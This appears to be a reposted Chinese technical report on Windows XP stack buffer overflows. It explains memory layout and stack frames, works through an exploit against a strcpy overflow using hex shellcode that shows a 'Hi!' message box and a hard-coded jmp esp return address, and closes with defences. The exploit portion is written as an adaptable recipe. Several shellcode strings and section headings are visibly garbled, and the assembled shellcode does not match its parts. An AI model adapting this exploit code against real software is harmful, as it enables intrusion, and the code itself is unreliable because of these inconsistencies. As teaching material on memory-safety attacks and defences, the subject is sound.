缓冲区溢出报告

来源:互联网 发布:手机抢购软件 编辑:程序博客网 时间:2024/05/16 02:01

缓冲区溢出报告

1 概述

1.1 编写背景


         网络防范技术的日益成熟,使木马、病毒这类恶意代码的植入变得困难。网络黑客开始针对系统和程序自身存在的漏洞,编写相应的攻击程序。其中最常见的就是对缓冲区溢出漏洞的攻击,而在诸多缓冲区溢出中又以堆栈溢出的问题最有代表性。目前,利用缓冲区溢出漏洞进行的攻击已经占到了整个网络攻击次数的一半以上。

        对缓冲区溢出漏洞攻击,可以导致程序运行失败、系统崩溃以及重新启动等后果。更为严重的是,可以利用缓冲区溢出执行非授权指令,甚至取得系统特权,进而进行各种非
法操作。如何防止和检测出利用缓冲区溢出漏洞进行的攻击,就成为防御网络入侵以及入侵检测的重点之一。

      
1.2 参考资料


[1] ipxodi.  window系统下的堆栈溢出.  绿盟科技,  绿盟安全月刊第7期, 2000
[2] czy.  win2000溢出初步.  绿盟科技,  绿盟安全月刊第43期, 2003
[3] czy.  win2000中通过JMP ESP来执行shellcode. 绿盟科技,  绿盟安全月刊第43期, 2003
[4] Only.  缓冲区溢出机理分析. 绿盟科技,  绿盟安全月刊第2期, 1999
[5] 蒋涛.  缓冲区溢出原理及防护. 中科院研究生院, 2005
[6] dspman,Solo,backend.  高级缓冲溢出的使用. 绿盟科技,  绿盟安全月刊第4期, 1999
[7] warning3.  *printf()格式化串安全漏洞分析. 绿盟科技,  绿盟安全月刊第12期, 2000
[8] 胡建伟,汤建龙,杨绍全.  网络对抗原理.  西安:西安电子科技大学出版社,2004
[9] 许治坤,王伟,郭添森,杨冀龙.  网络渗透技术.  北京:电子工业出版社, 2005
[10] 蒋卫华,李伟光,杜君. 缓冲区溢出攻击:原理,防御及检测. 博士论文. 西北工业大学计算机科学与工程系. 2003
[11] 邵丹,唐世钢,林枫. Windows平台下的缓冲区溢出漏洞分析. 博士论文. 哈尔滨理工大学测试技术与通信工程学院. 2003


1.3 术语和缩写词


        堆栈:堆栈一般是用来传递参数和保存子程序的局部变量,也称为后进先出(LIFO)的数据结构。堆栈的生长顺序与内存的生长顺序相反,即内存的高端是堆栈的低端,内存的低端是堆栈的高端。压栈(PUSH)指往堆栈保存数据,一般保存的是数据或数据的指针。如参数是短整型时,其数值被压入栈;参数是字符串时,指向该字符串的指针被压栈。每一个函数调用都有其栈帧,包括数据、返回地址、EBP和先前的ESP等等。
EBP:基址寄存器,其作用是保存当前线程的栈底指针。
ESP:堆栈指针寄存器,指向栈顶(即最近一次入栈数据单元的首地址)。
EIP:指令指针,存放下一个CPU指令存放的内存地址(一般代码是不能直接访问EIP的值)。
1.4 约定
在下面的叙述中,所有的缓冲区实验均在Microsoft Visual C++ 6.0 ,Microsoft Windows XP(版本:5.1 Build 2600  Service Pack 1 )环境下调试、测试的。
2 Windows的地址空间
本节分析Windows系统的地址空间分布的情况和Windows进程中的内存结构,从而有利于更好的理解缓冲区溢出的原理和设计编写实用的ShellCode。

2.1 Windows内存分配特点
                 表2-1  Windows内存分配特点
    
 
  Win2k Win2k-64 Win98   
NULL指针① 0x00000000
0x0000FFFF 0x00000000 00000000
0x00000000 0000FFFF 0x00000000
0x00000FFF   
DOS/Win16 无 无 0x00001000
0x003FFFFF   
用户模式② 0x00010000
0x7FFEFFFF 0x00000000 00010000
0x000003FF FFFEFFFF 0x00400000
0x7FFFFFFF   
64k禁止访问③ 0x7FFF0000
0x7FFFFFFF 0x000003FF FFFF0000
0x000003FF FFFFFFFF 无   
内存映射文件 无 无 0x80000000
0xBFFFFFFF   
内核模式④ 0x80000000
0xFFFFFFFF 0x00000400 00000000
0xFFFFFFFF FFFFFFFF 0xC0000000
0xFFFFFFFF 

表注①:NULL指针区域为NULL指针分配而保留的,即用C及C++等语言编写代码时声明未赋初值的指针变量所指向的区域。程序如访问该区域则报错。
    ②:用户进程空间,EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。
    ④:对于NT版本以上系统是保留区域,对此区域的任何访问都将导致“非法访问”错误。
    ③:内核模式,仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。对于从NT版本以上的系统,用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。
2.1.1  Windows NT/2000 的进程的内存分配特点
    NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,各个内存段的作用如表2-1所示。

2.2 Windows 进程中的内存结构
对于一个进程的内存空间而言,可以在逻辑上分成3个部份:代码区,静态数据区和动态数据区。动态数据区一般就是“堆栈”。“栈(stack)”和“堆(heap)”是两种不同的动态数据区,栈是一种线性结构,堆是一种链式结构。进程的每个线程都有私有的“栈”,所以每个线程虽然代码一样,但本地变量的数据都是互不干扰。一个堆栈可以通过“基地址”和“栈顶”地址来描述。全局变量和静态变量分配在静态数据区,本地变量分配在动态数据区,即堆栈中。程序通过堆栈的基地址和偏移量来访问本地变量。
              
   图2.2  Windows进程中的内存结构

高级语言都能通过变量名来访问内存中的数据,这些变量在内存中存放是有一定规则的。C 语言有全局变量(Global)、本地变量(Local)等类型的变量。每种变量都有不同的分配方式。本地变量分配在动态数据区,而全局变量和静态变量分配在静态数据区。
当Windows程序发生调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存存器(EIP)中的内容作为返回地址(RET);再把基址寄存器(EBP)压入堆栈;随后将当前的栈指针(ESP)拷贝到EBP做为新的基地址;最后为本地变量留出一定空间,同时将ESP减去适当的数值。


3 缓冲区溢出的分析

缓冲区溢出的基本原理
由于函数里局部变量的内存分配是发生在栈帧里的,所以如果在某一个函数里定义了缓冲区变量,则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈帧里。
                
               图3-1  栈帧结构  
 
Local(局部变量)   
EBP   
Ret地址   
入口参数 

由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的,而内存中所保存的函数调用返回地址往往就在该缓冲区的上方(高地址)――这是由于栈的特性决定的,这就为覆盖函数的返回地址提供了条件。当我们有机会用大于目标缓冲区大小的内容来向缓冲区进行填充时,就可以改写函数保存在函数栈帧中的返回地址,从而使程序的执行流程随着我们意图而转移。这是冯·诺依曼计算机体系结构的缺陷。
在缓冲区安放攻击代码
有两种在被攻击程序地址空间里安排攻击代码的方法:
3.1.1 殖入法
攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的数据是可以在这个被攻击的硬件平台上运行的指令序列。在这里攻击者用被攻击程序的缓冲区来存放攻击代码。具体的方式有以下两种差别:
  
1. 攻击者不必为达到此目的而溢出任何缓冲区,可以找到足够的空间来放置攻击代码  
2. 缓冲区可以设在任何地方:堆栈(自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)
3.1.2 利用已经存在的代码
有时候,攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数,然后使程序跳转到我们的目标。比如,攻击代码要求执行“exe("/bin/sh")”,而在libc库中的代码执行“exec(arg)”,其中arg使一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改向指向"/bin/sh",然后调转到libc库中的相应的指令序列。
3.2 控制程序转移到攻击代码
如果能控制程序转移到攻击代码,就能实现预定的攻击目标。控制程序转移分类的基准是攻击者所寻求的缓冲区溢出的程序空间类型,原则上是可以任意的空间。这类溢出程序的不同的地方就是程序空间的突破和内存空间的定位不同。
3.2.1 激活纪录(Activation Records):
每当一个函数调用发生时,调用者会在堆栈中留下一个激活纪录,它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量,使这个返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为“stack smashing attack”,使目前常用的缓冲区溢出攻击方式。
3.2.2 函数指3.2.3 针(Function Pointers):
“void (* foo)()”声明了一个返回值为void函数指针的变量foo。函数指针可以用来定位任何地址空间,所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了!
3.2.4 长跳转缓冲区(Longjmp buffers):
在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”,用“longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。像函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。
3.3 Windows XP 缓冲区溢出实例
为了对缓冲区溢出漏洞的原理和实现有一个直观的印象,下面对Windows XP系统下一个缓冲区溢出实例进行分析。
3.3.1 存在缓冲缓冲区溢出漏洞的程序
看一段简单程序的执行过程中对堆栈的操作和溢出的产生过程:
#include “string.h”
void MyCopy( char* str )
{
 char buff[4];
 strcpy( buff,  str );
}

int main()
{
 char buffer[] = “aaaaaaaaaaaa”;
 
 MyCopy ( buffer );
 return 0;
}
编译后运行将出现应用程序错误的提示消息。这就是由于缓冲区溢出造成的。在MyCopy函数最后一行处下一个断点,进行调试跟踪。汇编代码如下:
00401048 5F                   pop         edi
00401049 5E                   pop         esi
0040104A 5B                   pop         ebx
0040104B 83 C4 44             add         esp,44h
0040104E 3B EC                cmp         ebp,esp
00401050 E8 7B 01 00 00       call        __chkesp (004011d0)
00401055 8B E5                mov         esp,ebp
00401057 5D                   pop         ebp
00401058 C3                   ret
当执行到最后一条指令ret后,可发现EBP,EIP值均为0x61616161(0x61是字符a的ASCII码),这是因为strcpy往缓冲区中拷贝了过多的数据,覆盖了EBP和EIP。
             
             图3-4-1  缓冲区溢出状态
 
 aaaa aaaa aaaa  
 内存低端        &buffer          EBP           EIP     内存高端
堆栈顶部                         堆栈底部       

由于输入的字符串太长, 数组buffer容纳不下,只好向堆栈的底部方向继续写‘a’。这些‘a’覆盖了堆栈的老的元素,从图3-4-1可以看出, EBP和EIP都已经被覆盖成‘a’了。函数调用返回时,就必然会把‘aaaa’的ASCII码视作返回地址, 会试图执行0x61616161处的指令,结果出现难以预料的后果,这样就产生了一次堆栈溢出。
3.3.2 构造Shellcode
下面以一个显示消息框的系统函数调用作为Shellcode:
3.3.2.1 加载user32.dll
由于调用win32 函数必须先将其加载到了目标程序的进程空间里面后才能使用,因此,在调用MessageBox函数前须先加载user32.dll,通常使用LoadLibrary加载dll。LoadLibrary的代码在kernel32.dll中,利用PEBrowse可以获得其入口地址为:0x77E5D961,加载user32.dll的函数调用为:LoadLibrary( user32 ),其汇编代码如下:
_asm{
push  ebp    ;EBP压栈
  mov  ebp,esp   ;拷贝ESP到EBP作为新的基址
  xor   eax,eax   ;清0
  push  eax
  push  eax    ;为构造字符串的结束符‘/0’做准备
  mov  byte ptr[ebp-08h],75h  ;字符’u’
  mov  byte ptr[ebp-07h],73h  ;字符’s’
  mov  byte ptr[ebp-06h],65h  ;字符’e’
  mov  byte ptr[ebp-05h],72h  ;字符’r’
  mov  byte ptr[ebp-04h],33h  ;字符’3’
  mov  byte ptr[ebp-03h],32h  ;字符’2’
  mov  edx,0x77E5D961    ;LoadLibrary入口地址
  push  edx
  lea   eax,[ebp-08h]
  push  eax      ;参数入栈
  call   dword ptr[ebp-0Ch]   ;调用LoadLibrary

用VC++编译器可得机器代码,将其放在字符数组buffer1中:
charbuffer1[]  =  “/x55/x8B/xEC/x33/xC0/x50/x50/xC6/x45/xF8/x75/xC6/x45/xF9/x73”
“/xC6/x45/xFA/x65/xC6/x45/xFB/x72/xC6/x45/xFC/x33/xC6/x45/xFD”
“/x32/xBA/x61/xD9/xE5/x77/x52/x8D/x45/xF8/x50/xFF/x55/xF4”
3.3.2.2 调用MessageBox函数
消息框的函数MessageBox是user32.dll的导出函数。利用PEBrowse可以获得其入口地址为:0x77D36476(此入口地址依赖于操作系统)。其函数原型为:
MessageBox(HWND hWnd, LPCTSTR lptext, LPCTSTR lpCaption, UINT uType),由此可得调用MessageBox的Shellcode的汇编代码:
_asm{
  push  ebp    ;EBP压栈
  mov  ebp,esp   ;拷贝ESP到EBP作为新的基址
  xor  edi,edi   ;清0
  push  edi    ;为构造字符串的结束符‘/0’做准备
  mov  byte ptr[ebp-04h],48h ;字符’H’
  mov  byte ptr[ebp-03h],69h ;字符’i’
  mov  byte ptr[ebp-02h],21h ;字符’!’
  mov  edx,0x77D36476  ;MessageBox入口地址
  push  edx     ;uType参数入栈
  push  edi     ;
  lea  edx,[ebp-04h]
  push  edx     ;lpCaption参数入栈
  push  edx     ;lptext参数入栈
  push  edi     ;hWnd参数入栈
  call  dword ptr[ebp-08h]  ;调用MessageBox
}
用VC++编译器可得机器代码,将其放在字符数组buffer2中:
char buffer2[] ]  =  “/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x48/xC6/x45/xFD/x69”
“/xC6/x45/xFE/x21/xBA/x76/x64/xD3/x77/x52/x57/x8D/x55/xFC”
“/x52/x52/x57/xFF/x55/xF8”
3.3.2.3 调用exit函数正常退出
将上面两段机器代码接起来,执行后会得到显示“Hi!”的消息框,但是在程序退出时,会出现内存错误提示,这是因为程序已经把堆栈指针搞乱了。为了解决这个问题,在Shellcode最后不要调用Exit(0)来正常退出。由于Exit函数在msvcrt.dll中,而msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库,因此我们没必要进行手工加载。利用PEBrowse获得Exit函数入口地址为:0x77C07ADC,汇编代码如下:
_asm{
  push ebp     ;EBP压栈
  mov ebp,esp    ;拷贝ESP到EBP作为新的基址
  mov edx,0x77C07ADC  ;Exit入口地址
  push edx
  xor eax,eax
  push eax     ;参数0入栈
  call dword ptr[ebp-04h]  ;调用Exit
}
用VC++编译器可得机器代码,将其放在字符数组buffer3中:
char buffer3[] = “77/x52/x33/xC0/x50/xFF/x55/xFC”
3.3.2.4 完整的Shellcode
将三段机器代码接起来,即得我们所要的Shellcode,将其放在字符数组中:
char Shellcode[]  =   “/x55/x8B/xEC/x33/xC0/x50/x50/xC6/x45/xF8/x75/xC6/x45/xF9”
“/x73/xC6/x45/xFA/x65/xC6/x45/xFB/x72/xC6/x45/xFC/x33/xC6”
“/x45/xFD/x32/xBA/x61/xD9/xE5/x77/x52/x8D/x45/xF8/x50/xFF”
“/xDD/xF4/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x48/xC6/x45””/xFD/x69/xC6/x45/xFE/x21/xBA/x76/x64/xD3/x77/x52/x57/x8D”
“/x55/xFC/x52/x52/x57/xFF/x55/xF877/x52/x33/xC0/x50/xFF/x55””/xFC”
3.3.3 控制程序执行Shellcode
刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码,程序将转移到可执行代码,从而使缓冲区漏洞得到利用成为可能。

  我们在main函数里的buffer数组再次增加4个’a’(共16个’a’),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。这意味着,ESP所指向的地址为buffer数组第13个字符在内存中的地址,这样,如果从第13个字符开始填上攻击代码,且使返回地址指向jmp/call ESP,那么,程序就能转移到攻击代码上,从使实现攻击。

  查找jmp/call ESP指令地址方法很多,为方便起见,本例中使用OllyDbg的 OllyUni插件(可到http://www.phenoelit.de/win/下载)。点击搜索jmp/call ESP,其结果中ntdll.text进程有该指令,地址为/x77FB59CC的。应该注意的是,该地址不能含有字节0,否则用它来构造攻击字符串时,在strcpy复制时会被截断。
使用该跳转技术还有一人问题,就是Windows有很多发行版本和语言版本,而且各发行版还有SP补丁,它们之间很多dll等文件是不同的,甚至这些dll的加载基址也可能不同。也就是说搜索到的跳转地址对各种平台可能并不通用。现总一下选择跳转地址的一些规律:
代码页里的地址。不受任何系统版本及SP影响,但受语言区域选择的影响。
应用程序加载自己的dll文件。取决于具体应用程序,可能相对较通用。
系统未变的dll文件。特定发行版里不受SP影响,但不同语言版本加载基址可能会不同
3.3.4 缓冲区溢出漏洞攻击代码
通过以上分析,可得缓冲区漏洞利用的完整代码。
#include “string.h”
void MyCopy( char* str )
{
 char buff[4];
 strcpy( buff,  str );
}

int main()
{
 char buffer[] = “aaaaaaaa/xCC/x59/xFB/x77/x55/x8B/xEC/x33/xC0/x50”
“/x50/xC6/x45/xF8/x75/xC6/x45/xF9/x73/xC6/x45/xFA”
“/x65/xC6/x45/xFB/x72/xC6/x45/xFC/x33/xC6/x45/xFD”
“/x32/xBA/x61/xD9/xE5/x77/x52/x8D/x45/xF8/x50/xFF”
“/x55/xF4/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x48”
“/xC6/x45/xFD/x69/xC6/x45/xFE/x21/xBA/x76/x64/xD3”
“/x77/x52/x57/x8D/x55/xFC/x52/x52/x57/xFF/x55/xF8”
“/x55/x8B/xEC/x33/xFF/xBA/xDC/x7A/xC0/x77/x52x57”
“/xFF/x55/xFC/x55/x8B/xEC/xBA/xDC/x7A/xC0/x77/x52”
“/x33/xC0/x50/xFF/x55/xFC”;
 
 MyCopy ( buffer );
 return 0;
}
编译链接执行,可得到显示“Hi!”的消息框,且程序能安全退出。
如要实现具体的冲击代码,可参照本例改写Shellcode,所需加载的dll文件和各函数的入口地址可能在不同的系统环境下可能不一样,但原理是一样的。
3.3.5 Windows下实现缓冲区溢出应注意的问题
windows版本不一致,使exploit不具有通用性。为解决这个问题,应尽量减少固定地址的使用。即,使用GetProcAddress来获得我们将使用的每一个系统函数,但这也无法消除对kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。

4 缓冲区溢出的保护方法
4.1 编写正确的代码
程序员有责任和义务养成安全编程的思想,应该熟悉那些可能会产生漏洞或需慎用的函数,清楚那些在编程中要小心使用的函数特别是在使用C语言时,例如: gets(),
strcpy()等等。
在软件测试阶段,要专门对程序中的每个缓冲区作边界检查和溢出检测。但是,由于程序编写者的经验不足和测试工作不够全面、充分,目前还不可能完全避免缓冲区溢出漏洞,因此这些漏洞在已经使用以及正在开发的软件中还是有存在的可能,还需要在使用软件时,对它做实时的监测。
4.2 使用安全语言编写程序
应使用Java等安全的语言编写程序,因为Java在对缓冲区进行操作时,有相应的边界检查,所以可以有效地防止缓冲区溢出漏洞的产生。但是, Java也并非绝对安全, Java的解释器是用C语言编写的,而C并不是一种安全的语言,所以解释器还是可能存在缓冲区溢出漏洞并受到攻击
4.3 非执行的缓冲区
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被殖入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。但是近来的Unix和MS Windows系统由于实现更好的性能和功能,往往在在数据段中动态地放入可执行的代码。所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。

非执行堆栈的保护可以有效地对付把代码殖入自动变量的缓冲区溢出攻击,而对于其他形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其他的攻击可以采用把代码殖入堆或者静态数据段中来跳过保护。
4.4 数组边界检查
殖入代码引起缓冲区溢出是一个方面,扰乱程序的执行流程是另一个方面。不象非执行缓冲区保护,数组边界检查完全放置了缓冲区溢出的产生和攻击。这样,只要数组不能被溢出,溢出攻击也就无从谈起。为了实现数组边界检查,则所有的对数组的读写操作都应当被检查以确保对数组的操作在正确的范围内。
4.5 程序指4.6 针完整性检查
程序指针完整性检查和边界检查由略微的不同。与防止程序指针被改变不同,程序指针完整性检查在程序指针被引用之前检测到它的改变。因此,即便一个攻击者成功地改变了程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。
4.6.1   堆栈保护:编译器生成的有效纪录完整性检测
堆栈保护是一种提供程序指针完整性检查的编译器技术,通过检查函数活动纪录中的返回地址来实现。在每个函数中,加入了函数建立和销毁的代码。加入的函数建立代码实际上在堆栈中函数返回地址后面加了一些附加的字节。而在函数返回时,首先检查这个附加的字节是否被改动过。如果发生过缓冲区溢出的攻击,那么这种攻击很容易在函数返回前被检测到。
4.6.2 指4.6.3 针保护:编译器生成程序指4.6.4 针完整性检查
通过在所有的代码指针之后放置附加字节来检验指针在被调用之前的合法性。如果检验失败,会发出报警信号和退出程序的执行,就如同在堆栈保护中的行为一样。
5 结束语
缓冲区溢出是一种系统攻击的手段,通过往程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行非预期指令,以达到攻击的目的。目前,在上利用缓冲区溢出进行攻击的行为已Internet经相当普遍。本文从缓冲区溢出的原理入手,指出缓冲溢出漏洞的产生原因,说明其危害性,并分析了现有的防范缓冲区溢出的措施,提出了对防范缓冲区溢出的一些方法。

原创粉丝点击